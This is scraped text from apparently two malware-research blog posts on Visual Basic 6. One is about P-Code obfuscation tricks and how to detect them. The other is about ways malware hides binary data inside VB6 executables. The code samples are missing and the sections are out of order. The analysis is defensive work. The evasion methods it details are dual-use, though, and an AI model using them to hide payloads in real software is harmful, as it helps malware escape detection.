had tooling which could handle it.&nbsp;Consider the following <code>VB6</code> source:

The default P-Code compilation is as follows:

&nbsp;An obsfuscated sample may look like the following:

From the above we see multiple opcode obfuscation tricks commonly seen in native code.It has been verified that this code runs fine and does not cause any problems with the runtime. This mutated file has been made available on <code>Virustotal</code> in order for vendors to test the capabilities of their tooling [<a href="https://decoded.avast.io/davidzimmer/vb6-p-code-obfuscation/#ref_2">2</a>].&nbsp;To single out some of the tricks:Jump over junk:

&nbsp;Jumping into argument bytes:

&nbsp;Invalid sequences which may trigger fatal errors in disassembly tools:

<h3>Detection</h3>The easiest markers of P-Code obfuscation are:<ul><li data-list-item-id="eab9d63b0845a77c8c1070422246279c3">&nbsp;&nbsp;&nbsp;&nbsp;jumps into the middle of other instructions</li><li data-list-item-id="e1a2b2083a2dee5867021542588067115">&nbsp;&nbsp;&nbsp;&nbsp;unmatched for/next opcodes counts</li><li data-list-item-id="e5bae2c0c75200792d02d70e01d976891">&nbsp;&nbsp;&nbsp;&nbsp;invalid/undefined opcodes&nbsp;</li><li data-list-item-id="e992dd83b131677c74572c02ef1443eae">&nbsp;&nbsp;&nbsp;&nbsp;unnatural opcode sequences not produced by the compiler</li><li data-list-item-id="ef054fe59559c0c0680f3a8735a9364ad">&nbsp;&nbsp;&nbsp;&nbsp;errors in argument resolution from randomized data&nbsp;</li></ul>Some junk sequences such as <code>Not Not</code> can show up normally depending on how a routine was coded.This level of detection will require a competent, error-free, disassembly engine that is aware of the full structures within the <code>VB6</code> file format.&nbsp;<h3>Conclusion</h3>Code obfuscation is a fact of life for malware analysts. The more common and well documented the file format, the more likely that obfuscation tools are wide spread in the wild.This reasoning is likely why complex formats such as <code>.NET</code> and <code>Java</code> had many public obfuscators early on.This research proves that <code>VB6 P-Code</code> obfuscation is equally possible and gives us the opportunity to make sure our tools are capable of handling it before being required in a time constrained incident response.&nbsp;The techniques explored here also grant us the insight to hunt for advanced threats which may have been already using this technique and had flown under the radar for years.We encourage researchers to examine the mutated sample [<a href="https://decoded.avast.io/davidzimmer/vb6-p-code-obfuscation/#ref_2"><code>2</code></a>] and make sure that their frameworks can handle it without error.

Analyzing Obfuscation Techniques in Malware Defense

VB6 P-Code Obfuscation

<h2>Overview</h2>This is part one in a series of posts that focus on understanding <code>Visual Basic 6.0 (VB6)</code> code, and the tactics and techniques both malware authors and researchers use around it.&nbsp;<h2>Abstract&nbsp;</h2>This document is a running tally covering many of the various ways <code>VB6</code> malware can embed binary data within an executable.&nbsp;There are 4 main categories:&nbsp;<ul><li>string based encodings </li><li>data hidden within the actual opcodes of the program </li><li>data hidden within parts of the <code>VB6 </code>file format&nbsp; </li><li>data in or around normal <code>PE</code> structures&nbsp;</li></ul>Originally I was only going to cover data hidden within the file format itself but for the sake of&nbsp; documentation I decided it is worth covering them all.&nbsp;&nbsp;Data held within the file format is a special case which I find the most interesting. This is because it can be interspersed within a complex set of undocumented structures which would require&nbsp; advanced knowledge and intricate parsing to detect. In this scenario it would be hard to determine where the data is coming from or to even recognize that these buffers exist.&nbsp;&nbsp;<h2>Resource Data&nbsp;</h2>The first technique is the standard built into the language itself, namely loading data from the&nbsp; resource section. <code>VB6</code> comes with an add-in that allows users to add a <code>.RES</code> file to the project.&nbsp; This file gets compiled into the resource section of the executable and allows for binary data to be&nbsp; easily loaded.&nbsp;

This is a well known and standard technique.&nbsp;<h2>Appended Data&nbsp;</h2>This technique is very old and has been used from all manner of programming language. It will be mentioned again for thoroughness and to link to a public implementation [<a href="https://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables/#ref_1">1</a>] that allows for&nbsp; simplified use.&nbsp;

<h2>Hex String Buffers&nbsp;</h2>It is very common for malware to build up a string of hex characters that are later converted back to binary data. Conversion commonly includes various text manipulations such as decryption or&nbsp; stripping junk character sequences. Extra character sequences are commonly used to prevent&nbsp; automatic recognition of the data as a hex string by AV.&nbsp;&nbsp;In the context of VB6, there are several limitations. The IDE only allows for a total of <code>1023</code>&nbsp; characters to be on a single line. VB’s line continuation syntax of <code>&amp;_</code> is also limited to only <code>25</code>&nbsp; lines. For these reasons you will often see large blocks of data embedded in the following format:&nbsp;

In a compiled binary each string fragment is held as an individual chunk which is easily&nbsp; identifiable. A faster variant may hold each element in a string array so conglomeration only&nbsp; occurs once.&nbsp;&nbsp;This is a well known and standard technique. It is commonly found in <code>VBA</code>, <code>VB6</code> and malware&nbsp; written in many other languages. Line length limitations can not be bypassed through command&nbsp; line compilation.&nbsp;<h2>Binary Data Within Images&nbsp;</h2>There are multiple ways to embed lossless data into image formats. The most common will be to&nbsp; embed the data directly within the structure of a <code>BITMAP</code> image. Bitmaps can be held directly&nbsp; within <code>VB6</code> Image and Picture controls. Data embedded in this manner will be held in the <code>.FRX</code>&nbsp; form resource file before compilation. Once compiled it will be held in a binary property field for&nbsp; the target form element. Images created like this can be generated with a special tool, and then&nbsp; embedded directly into the form using the IDE.&nbsp;The following is a public sample[<a href="https://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables/#ref_2">2</a>] of data being extracted from such a bitmap

Extracted images will display as a series of colored blocks and pixels of various colors. Note that&nbsp; this is not stenography.&nbsp;Many tools understand how to extract embedded images from binary files. Since the image data&nbsp; still contains the <code>BITMAP</code> header, parsing of the <code>VB6</code> file format itself is not necessary. This&nbsp; technique is public and in common use. The data is often decrypted after it is extracted.&nbsp;<h2>Chr Strings&nbsp;</h2>Similar to obfuscations found in C malware, strings can be built up at runtime based on individual&nbsp; byte values. A common example may look like the following:&nbsp;

At the asm level, this serves to break up each byte value and puts it inline with a bunch of&nbsp; opcodes preventing automatic detection or display with strings. For native VB6 code it will look&nbsp; like the following:&nbsp;

In P-Code it will look like the following:&nbsp;

This is a well known and standard technique. It is commonly found in VBA as well as VB6&nbsp; malware.&nbsp;<h2>Numeric Arrays&nbsp;</h2>Numeric arrays are a fairly standard technique in malware that are used to break up the binary&nbsp; data amongst the programs opcodes. This is similar to the Chr technique but can hold data in a&nbsp; more compact format. The most common data types used for this technique are <code>4 byte longs</code>, and <code>8 byte currency </code>types. The main advantage of this technique is that the data can be easily&nbsp; manipulated with math to decrypt it on the fly.&nbsp;

This technique is not as popular as the others, but does have a long history of use. I think the first place I saw it was in Flash ActionScript exploits.&nbsp;<h2>Form Properties&nbsp;</h2>Forms and embedded GUI elements can contain compiled in data as part of their properties. The&nbsp; most common attributes used are <code>Form.Caption</code>, <code>Textbox.Text</code>, and any element’s. Tag property.&nbsp;Since all of these properties are typically entered via the IDE, they are usually found to contain&nbsp; ASCII only data that is later decoded to binary.&nbsp;Developers can however embed binary data directly into these properties using several&nbsp; techniques.&nbsp;&nbsp;While there is way to hexedit raw data in the <code>.FRX </code>form resource file, this comes with limitations&nbsp; such as not being able to handle embedded nulls. Another solution is inserting the data post&nbsp; compilation. With this technique a large buffer is reserved consisting of ASCII text that has start&nbsp; and end markers. An embedding tool can then be run on the compiled executable to fill in the&nbsp; buffer with true binary data.&nbsp;&nbsp;Using form element properties to house text based data is a common practice and has been seen&nbsp; in <code>VBA</code>, <code>VB6</code>, and even <code>PDF</code> scripts. Binary data embedded with a post processing step has been observed in the wild. In both P-Code and Native, access to these properties will be through <code>COM</code> object <code>VTable</code> calls.&nbsp;&nbsp;From the Semi-VBDecompiler source, each different control type (including <code>ActiveX</code>) has its own&nbsp; parser for these compiled in property fields. Results will vary based on tool used if they can display the data. Semi-Vbdecompiler has an option to dump property blobs to disk for manual exploration. This may be required to reveal this type of embedded binary data.&nbsp;<h2>UserControl Properties&nbsp;</h2>A special case for the above technique occurs with the built in <code>UserControl</code> type. This control is&nbsp; used for hosting reusable visual elements and in <code>OCX</code> creation. The control has two events which&nbsp; are passed a <code>PropertyBag</code> object of its internal binary settings. This binary data can be easily set&nbsp; in the IDE through property pages. This mechanism can be used to store any kind of binary data&nbsp; including entire file systems. A public example of this technique is available[<a href="https://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables/#ref_3">3</a>]. Embedded data will be held per instance of the <code>UserControl</code> in its properties on the host form.&nbsp;

<h2>Binary Strings&nbsp;</h2>Compiled <code>VB6</code> executables store internal strings with a length prefix. Similar to the form properties trick, these entries can be modified post compilation to contain arbitrary binary data. In order to discern these data blobs from other binary data, in depth understanding and complex&nbsp; parsing of the <code>VB6</code> file format would have to occur.&nbsp;&nbsp;The longest string that can be embedded with this technique is limited by the line length in the&nbsp; IDE which is <code>2042</code> bytes (<code>(1023 bytes – 2 for quotes) *2 for unicode</code>).<code>VB6</code> malware can access these strings normally with no special loading procedure. As far as its&nbsp; concerned the source was simply <code>str = “binary data”</code>.&nbsp;The IDE can handle a number of unicode characters which can be embedded in the source for compilation. Full binary data can be embedded using a post processing technique.&nbsp;<h2>Error Line Numbers&nbsp;</h2>VB6 allows for developers to embed line numbers that can be accessed in the event of an error to&nbsp; help determine its location. This error line number information is stored in a separate table outside of the byte code stream.&nbsp;&nbsp;The error line number can be accessed through the <code>Erl()</code> function. VB6 is limited to <code>0xFFFF</code> line&nbsp; numbers per function, and line number values must be in the <code>0-0xFFFF</code> range. Since the size of&nbsp; the embedded data is limited with this technique, short strings such as passwords and web&nbsp; addresses are the most likely use.When the code below is run, it will output the message “secret”&nbsp;

Advanced knowledge of the <code>VB6</code> file format would be required in order to discern this data from&nbsp; other parts of the file. Embedded data is sequential and readable if not encoded in some other&nbsp; way.&nbsp;<h2>Function Bodies&nbsp;</h2>The <code>AddressOf</code> operator allows <code>VB6</code> easy runtime access to the address of a public function in&nbsp; a module. It is possible to include a dummy function that is filled with just placeholder instructions to create a blank buffer within the <code>.text</code> section of the executable. This buffer can be easily loaded&nbsp; into a byte array with a <code>CopyMemory</code> call. A simple post compilation embedding could be used to&nbsp; fill in the arbitrary data.

For P-Code compiles, <code>AddressOf</code> returns the offset of a loader stub with a structure offset. P-Code compiles would require several extra steps but would still be possible.&nbsp;&nbsp;

David Zimmer

Posts by David Zimmer